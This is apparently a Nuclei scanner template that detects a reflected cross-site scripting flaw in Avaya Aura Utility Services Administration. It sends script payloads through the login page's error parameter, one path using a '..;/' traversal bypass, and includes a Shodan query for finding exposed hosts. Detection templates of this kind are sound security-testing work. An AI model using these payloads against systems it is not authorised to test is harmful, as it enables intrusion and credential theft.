id: avaya-aura-xss

info:
  name: Avaya Aura Utility Services Administration - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Avaya Aura Utility Services Administration contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://blog.assetnote.io/2023/02/01/rce-in-avaya-aura/
    - https://download.avaya.com/css/public/documents/101076366
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:avaya:aura_utility_services:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"Avaya Aura"
    product: aura_utility_services
    vendor: avaya
  tags: xss,avaya,aura,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e"
      - "{{BaseURL}}/acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'Avaya Aura Device Services'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d62b4c6d63ca30de9cf9969756fec5f584368b92d441cc58b5e20337e41fcf80221009a3b6367fa013d6227ccf69aaccb2a3ce1240bc49e9588cb390c2561067d72a2:922c64590222798bb761d5b6d8e72950